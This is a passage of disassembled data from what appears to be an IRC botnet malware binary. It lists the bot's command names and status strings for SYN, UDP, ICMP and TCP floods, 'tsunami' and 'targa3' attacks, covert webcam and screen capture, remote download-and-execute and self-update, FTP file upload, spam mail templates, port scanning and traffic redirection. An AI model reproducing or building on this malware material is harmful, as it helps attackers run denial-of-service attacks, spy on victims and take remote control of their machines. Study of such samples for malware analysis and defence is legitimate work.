db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_42CE24 db 2Dh ; - ; DATA XREF: sub_40274D:loc_40989Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 8
unk_42CE68 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409895o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
; char asc_42CEA8[]
asc_42CEA8 db '-' ; DATA XREF: sub_40274D+7135o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 4
; char aVideo[]
aVideo db 'video',0 ; DATA XREF: sub_40274D:loc_4097FEo
align 4
; char asc_42CEDC[]
asc_42CEDC db '-' ; DATA XREF: sub_40274D:loc_4097EBo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 4
unk_42CF14 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4097E4o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
; char asc_42CF48[]
asc_42CF48 db '-' ; DATA XREF: sub_40274D+7087o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
; char aFrame[]
aFrame db 'frame',0 ; DATA XREF: sub_40274D:loc_409770o
align 4
; char asc_42CF7C[]
asc_42CF7C db '-' ; DATA XREF: sub_40274D+7016o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
; char asc_42CFA4[]
asc_42CFA4 db '-' ; DATA XREF: sub_40274D+6FE6o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
; char aDrivers[]
aDrivers db 'drivers',0 ; DATA XREF: sub_40274D:loc_4096E6o
; char asc_42CFD4[]
asc_42CFD4 db '-' ; DATA XREF: sub_40274D:loc_4096D3o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 10h
unk_42D010 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4096CCo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 10h
; char asc_42D040[]
asc_42D040 db '-' ; DATA XREF: sub_40274D+6F6Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
; char aScreen[]
aScreen db 'screen',0 ; DATA XREF: sub_40274D:loc_40968Eo
align 4
; char asc_42D074[]
asc_42D074 db '-' ; DATA XREF: sub_40274D+6F29o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh, 2E732520h
dd 0
; char asc_42D090[]
asc_42D090 db '-' ; DATA XREF: sub_40274D:loc_409636o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 10h
; char asc_42D0C0[]
asc_42D0C0 db '-' ; DATA XREF: sub_40274D+6ED3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
; char asc_42D0E8[]
asc_42D0E8 db '-' ; DATA XREF: sub_40274D+6E3Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
; char asc_42D108[]
asc_42D108 db '-' ; DATA XREF: sub_40274D+6DFFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
; char asc_42D128[]
asc_42D128 db '-' ; DATA XREF: sub_40274D+6DA5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_42D144 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_40274D+6D36o
; char aPartS_1[]
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+6CFFo
; sub_40274D+7831o
align 4
unk_42D164 db 2Dh ; - ; DATA XREF: sub_40274D+6CDDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
; char aModeS_0[]
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+6CCFo
align 4
dword_42D18C dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_40274D+6CA4o
dd 25203A29h, 73h
dword_42D1A8 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_40274D+6C38o
dd 203A2973h, 7325h
; char aModeS[]
aModeS db 'MODE %s',0 ; DATA XREF: sub_40274D+6BE0o
dword_42D1CC dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_40274D+6BB5o
dd 203A2973h, 7325h
; char aS_0[]
aS_0 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+6B96o
; sub_40274D+6C19o ...
align 10h
; char aJoinSS_0[]
aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_40274D+6B3Fo
align 4
; char aPartS_0[]
aPartS_0 db 'PART %s',0 ; DATA XREF: sub_40274D+6AFDo
; char asc_42D204[]
asc_42D204 db '-' ; DATA XREF: sub_40274D+6AB3o
db 3, 34h, 2
dd 67726174h, 3023361h
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char asc_42D240[]
asc_42D240 db '-' ; DATA XREF: sub_40274D+6A54o
db 3, 34h, 2
dd 67726174h, 3023361h
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_42D26C db 2Dh ; - ; DATA XREF: sub_40274D+69E5o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42D2A8[]
asc_42D2A8 db '-' ; DATA XREF: sub_40274D+6986o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42D2DC db 2Dh ; - ; DATA XREF: sub_40274D:loc_409079o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 10h
; char asc_42D310[]
asc_42D310 db '-' ; DATA XREF: sub_40274D+68F1o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 65706552h, 203A7461h, 7325h
dword_42D328 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_40274D:loc_408FB6o
; char aSSSS[]
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_40274D+6825o
; sub_40274D+68CBo ...
align 10h
dword_42D350 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_40274D:loc_408F2Fo
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42D398 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_40274D+67C3o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
; char asc_42D3D4[]
asc_42D3D4 db '-' ; DATA XREF: sub_40274D+676Ao
db 3, 34h, 2
dd 61647075h, 3026574h
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
; char aSS_exe[]
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40274D+66CBo
align 4
dword_42D40C dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_40274D+666Co
dd 7325203Ah, 0
unk_42D428 db 2Dh ; - ; DATA XREF: sub_40274D+6661o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
; char asc_42D44C[]
asc_42D44C db '-' ; DATA XREF: sub_40274D+65AFo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStartS db 'Failed to start search thread, error: <%d>.',0
; char asc_42D488[]
asc_42D488 db '-' ; DATA XREF: sub_40274D+654Bo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42D4B8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_40274D:loc_408BFDo
; sub_40274D:loc_409BF4o
; char asc_42D4C4[]
asc_42D4C4 db '-' ; DATA XREF: sub_40274D+6498o
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42D4E8 db 2Dh ; - ; DATA XREF: sub_40274D:loc_408BC3o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_42D520 db 2Dh ; - ; DATA XREF: sub_40274D+6457o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42D558[]
asc_42D558 db '-' ; DATA XREF: sub_40274D+63EDo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42D584 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_40274D+636Ao
aFailedToStar_2 db '- Failed to start clone thread, error: <%d>.',0
align 10h
; char asc_42D5C0[]
asc_42D5C0 db '-' ; DATA XREF: sub_40274D+6307o
db 3, 34h, 2
dd 6E6F6C63h, 3027365h
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
; char asc_42D5F0[]
asc_42D5F0 db '-' ; DATA XREF: sub_40274D+625Fo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_3 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42D628[]
asc_42D628 db '-' ; DATA XREF: sub_40274D+61FDo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42D658 db 2Dh ; - ; DATA XREF: sub_40274D+616Ao
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_4 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char asc_42D690[]
asc_42D690 db '-' ; DATA XREF: sub_40274D+6108o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42D6C0 db 2Dh ; - ; DATA XREF: sub_40274D+6086o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_5 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42D6F8[]
asc_42D6F8 db '-' ; DATA XREF: sub_40274D+6024o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42D734 db 2Dh ; - ; DATA XREF: sub_40274D+5FA2o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
; char asc_42D774[]
asc_42D774 db '-' ; DATA XREF: sub_40274D+5F49o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42D7A0 db 2Dh ; - ; DATA XREF: sub_40274D+5E6Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
; char asc_42D7E4[]
asc_42D7E4 db '-' ; DATA XREF: sub_40274D+5E12o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
; char asc_42D820[]
asc_42D820 db '-' ; DATA XREF: sub_40274D+5D1Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
; char aSSS_1[]
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_40274D+5C76o
align 4
aSSS_0 db '[%s] * %s %s',0 ; DATA XREF: sub_40274D+5B99o
align 4
; char dword_42D87C
dword_42D87C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40274D+5B05o
; sub_40274D+6D82o
unk_42D888 db 2Dh ; - ; DATA XREF: sub_40274D+5A8Fo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start scan thread, error: <%d>.',0
align 8
; char asc_42D8C8[]
asc_42D8C8 db '-' ; DATA XREF: sub_40274D+5A36o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42D918 db 2Dh ; - ; DATA XREF: sub_40274D+598Do
; sub_40274D+5D75o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 10h
; char asc_42D950[]
asc_42D950 db '-' ; DATA XREF: sub_40274D+5934o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_42D9B8 db 2Dh ; - ; DATA XREF: sub_40274D+57C0o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan, no IP specified.',0
align 4
unk_42D9EC db 2Dh ; - ; DATA XREF: sub_40274D+5763o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, port is invalid.',0
align 10h
; char asc_42DA20[]
asc_42DA20 db '-' ; DATA XREF: sub_40274D:loc_407D92o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 10h
unk_42DA50 db 2Dh ; - ; DATA XREF: sub_40274D+563Eo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40274D+5625o
; char aSS_2[]
aSS_2 db '-s:%s',0 ; DATA XREF: sub_40274D+560Eo
align 4
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40274D+55EEo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
; char aAb[]
aAb db 'ab',0 ; DATA XREF: sub_40274D+55CAo
; sub_414B1C+4Eo
align 10h
; char aSIII_dll[]
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40274D+55B9o
align 10h
; char asc_42DAC0[]
asc_42DAC0 db '-' ; DATA XREF: sub_40274D+5560o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 10h
; char aUpload[]
aUpload db 'upload',0 ; DATA XREF: sub_40274D+553Do
align 4
; char asc_42DAE8[]
asc_42DAE8 db '-' ; DATA XREF: sub_40274D+550Ao
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 4
unk_42DB28 db 2Dh ; - ; DATA XREF: sub_40274D+54C2o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char asc_42DB60[]
asc_42DB60 db '-' ; DATA XREF: sub_40274D+5463o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42DBA8 db 2Dh ; - ; DATA XREF: sub_40274D+53ADo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
; char asc_42DBDC[]
asc_42DBDC db '-' ; DATA XREF: sub_40274D+537Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 10h
unk_42DC10 db 2Dh ; - ; DATA XREF: sub_40274D+536Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
; char asc_42DC48[]
asc_42DC48 db '-' ; DATA XREF: sub_40274D+52BFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40274D+52A2o
align 4
unk_42DC9C db 2Dh ; - ; DATA XREF: sub_40274D+5278o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_11 db 'Failed to start flood thread, error: <%d>.',0
align 8
; char asc_42DCD8[]
asc_42DCD8 db '-' ; DATA XREF: sub_40274D+521Fo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
; char asc_42DD20[]
asc_42DD20 db '-' ; DATA XREF: sub_40274D:loc_4078C4o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42DD58 db 2Dh ; - ; DATA XREF: sub_40274D+5158o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char asc_42DD90[]
asc_42DD90 db '-' ; DATA XREF: sub_40274D+50F4o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_40274D+50E4o
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40274D+50DDo
unk_42DDD4 db 2Dh ; - ; DATA XREF: sub_40274D+504Bo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
; char aRandom_0[]
aRandom_0 db 'random',0 ; DATA XREF: sub_40274D+503Bo
; sub_416B1E+212o
align 4
; char aAck[]
aAck db 'ack',0 ; DATA XREF: sub_40274D+5024o
; sub_416B1E+1F2o
; char aHcon[]
aHcon db 'hcon',0 ; DATA XREF: sub_40274D+4FB1o
align 4
; char aHttpcon[]
aHttpcon db 'httpcon',0 ; DATA XREF: sub_40274D+4F9Eo
; char asc_42DE1C[]
asc_42DE1C db '-' ; DATA XREF: sub_40274D+4F82o
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
; char aHeloRndnickMai[]
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40274D+4F0Eo
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
; char aEmail[]
aEmail db 'email',0 ; DATA XREF: sub_40274D+4E23o
align 4
; char aTcp[]
aTcp db 'tcp',0 ; DATA XREF: sub_40274D+4E0Co
; char aTcpflood[]
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_40274D+4DF5o
align 4
; char aP[]
aP: ; DATA XREF: sub_40274D+4DDEo
; .data:00442EF0o ...
unicode 0, <p>,0
; char aPing_0[]
aPing_0 db 'ping',0 ; DATA XREF: sub_40274D+4DC7o
align 10h
; char aPingflood[]
aPingflood db 'pingflood',0 ; DATA XREF: sub_40274D+4DB0o
align 4
; char aNs[]
aNs db 'ns',0 ; DATA XREF: sub_40274D+4D99o
align 10h
; char aNetsend[]
aNetsend db 'netsend',0 ; DATA XREF: sub_40274D+4D82o
; char aU[]
aU: ; DATA XREF: sub_40274D+4D6Bo
; .data:00442EE8o ...
unicode 0, <u>,0
; char aUdp[]
aUdp db 'udp',0 ; DATA XREF: sub_40274D+4D54o
; char aUdpflood[]
aUdpflood db 'udpflood',0 ; DATA XREF: sub_40274D+4D3Do
align 4
; char aAsc[]
aAsc db 'asc',0 ; DATA XREF: sub_40274D+4D26o
; char aAdvscan[]
aAdvscan db 'advscan',0 ; DATA XREF: sub_40274D+4D0Fo
; char aPsc[]
aPsc db 'psc',0 ; DATA XREF: sub_40274D+4CF8o
; char aPortscan[]
aPortscan db 'portscan',0 ; DATA XREF: sub_40274D+4CE1o
align 4
; char aC_a[]
aC_a db 'c_a',0 ; DATA XREF: sub_40274D+4CBBo
; char aC_action[]
aC_action db 'c_action',0 ; DATA XREF: sub_40274D+4CA4o
align 4
; char aC_pm[]
aC_pm db 'c_pm',0 ; DATA XREF: sub_40274D+4C8Do
align 10h
; char aC_privmsg[]
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_40274D+4C76o
align 4
; char aSc[]
aSc db 'sc',0 ; DATA XREF: sub_40274D+4C5Fo
align 10h
; char aScan_0[]
aScan_0 db 'scan',0 ; DATA XREF: sub_40274D+4C48o
align 4
; char aRd[]
aRd db 'rd',0 ; DATA XREF: sub_40274D+4C31o
align 4
; char aRedirect[]
aRedirect db 'redirect',0 ; DATA XREF: sub_40274D+4C1Ao
align 4
; char aDl[]
aDl db 'dl',0 ; DATA XREF: sub_40274D+4C03o
align 4
; char aDownload[]
aDownload db 'download',0 ; DATA XREF: sub_40274D+4BECo
align 4
; char aWonk[]
aWonk db 'wonk',0 ; DATA XREF: sub_40274D+4BD5o
align 10h
; char aPhatwonk[]
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_40274D+4BBEo
align 4
dword_42DF5C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_40274D+4B9Co
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42DF98[]
asc_42DF98 db '-' ; DATA XREF: sub_40274D+4B3Ao
db 3, 34h, 2
dd 73796B73h, 3026E79h
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
; char aSkysyn[]
aSkysyn db 'skysyn',0 ; DATA XREF: sub_40274D+4AC3o
align 10h
; char aSyn[]
aSyn db 'syn',0 ; DATA XREF: sub_40274D+4AACo
; sub_40274D+500Co ...
; char aSynflood[]
aSynflood db 'synflood',0 ; DATA XREF: sub_40274D+4A95o
align 10h
unk_42DFE0 db 2Dh ; - ; DATA XREF: sub_40274D+4A73o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char aWisdom_udp[]
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_40274D+49B5o
align 4
; char aDdos_random[]
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_40274D+499Eo
; sub_415825:loc_41594Do
; char aDdos_ack[]
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_40274D+4987o
; sub_415825:loc_415931o
align 4
; char aDdos_syn[]
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_40274D+4970o
; sub_415825+EDo
align 10h
; char aC[]
aC: ; DATA XREF: sub_40274D+4959o
; sub_40FDC3+78o ...
unicode 0, <c>,0
; char aClone_0[]
aClone_0 db 'clone',0 ; DATA XREF: sub_40274D+4942o
align 4
; char aIcmp[]
aIcmp db 'icmp',0 ; DATA XREF: sub_40274D+491Co
align 4
; char aIcmpflood[]
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_40274D+4905o
align 10h
; char aMv[]
aMv db 'mv',0 ; DATA XREF: sub_40274D+48EEo
align 4
; char aRename[]
aRename db 'rename',0 ; DATA XREF: sub_40274D+48D7o
align 4
; char aFf[]
aFf db 'ff',0 ; DATA XREF: sub_40274D+48C0o
align 10h
; char aFindfile[]
aFindfile db 'findfile',0 ; DATA XREF: sub_40274D+48A9o
align 4
; char aE[]
aE: ; DATA XREF: sub_40274D+4892o
; .data:00442ED8o ...
unicode 0, <e>,0
; char aExecute[]
aExecute db 'execute',0 ; DATA XREF: sub_40274D+487Bo
; char aUpdate[]
aUpdate db 'update',0 ; DATA XREF: sub_40274D+484Do
align 10h
; char aDe[]
aDe db 'de',0 ; DATA XREF: sub_40274D+4836o
align 4
; char aDelay[]
aDelay db 'delay',0 ; DATA XREF: sub_40274D+481Fo
align 4
; char aRp[]
aRp db 'rp',0 ; DATA XREF: sub_40274D+4808o
align 10h
; char aRepeat[]
aRepeat db 'repeat',0 ; DATA XREF: sub_40274D+47F1o
; sub_40274D+68A6o
align 4
; char aTsn[]
aTsn db 'tsn',0 ; DATA XREF: sub_40274D+47DAo
; char aTsunami[]
aTsunami db 'tsunami',0 ; DATA XREF: sub_40274D+47C3o
; char aT3[]
aT3 db 't3',0 ; DATA XREF: sub_40274D+47ACo
align 4
; char aTarga3[]
aTarga3 db 'targa3',0 ; DATA XREF: sub_40274D+4795o
align 10h
; char aC_p[]
aC_p db 'c_p',0 ; DATA XREF: sub_40274D+477Eo
; char aC_part[]
aC_part db 'c_part',0 ; DATA XREF: sub_40274D+4767o
align 4
; char aC_j[]
aC_j db 'c_j',0 ; DATA XREF: sub_40274D+4750o
; char aC_join[]
aC_join db 'c_join',0 ; DATA XREF: sub_40274D+4739o
align 4
; char aC_n[]
aC_n db 'c_n',0 ; DATA XREF: sub_40274D+4722o
; char aC_nick[]
aC_nick db 'c_nick',0 ; DATA XREF: sub_40274D+470Bo
align 4
; char aC_m[]
aC_m db 'c_m',0 ; DATA XREF: sub_40274D+46F4o
; char aC_mode[]
aC_mode db 'c_mode',0 ; DATA XREF: sub_40274D+46DDo
align 10h
; char aC_r[]
aC_r db 'c_r',0 ; DATA XREF: sub_40274D+46C6o
; char aC_raw[]
aC_raw db 'c_raw',0 ; DATA XREF: sub_40274D+46AFo
align 4
; char aM_0[]
aM_0: ; DATA XREF: sub_40274D+4698o
; .data:00442F30o ...
unicode 0, <m>,0
; char aCy[]
aCy db 'cy',0 ; DATA XREF: sub_40274D+466Ao
align 4
; char aCycle[]
aCycle db 'cycle',0 ; DATA XREF: sub_40274D+4653o
align 4
; char aA[]
aA: ; DATA XREF: sub_40274D+463Co
; .data:00442EF4o
unicode 0, <a>,0
; char aAction[]
aAction db 'action',0 ; DATA XREF: sub_40274D+4625o
align 4
; char aPrivmsg_0[]
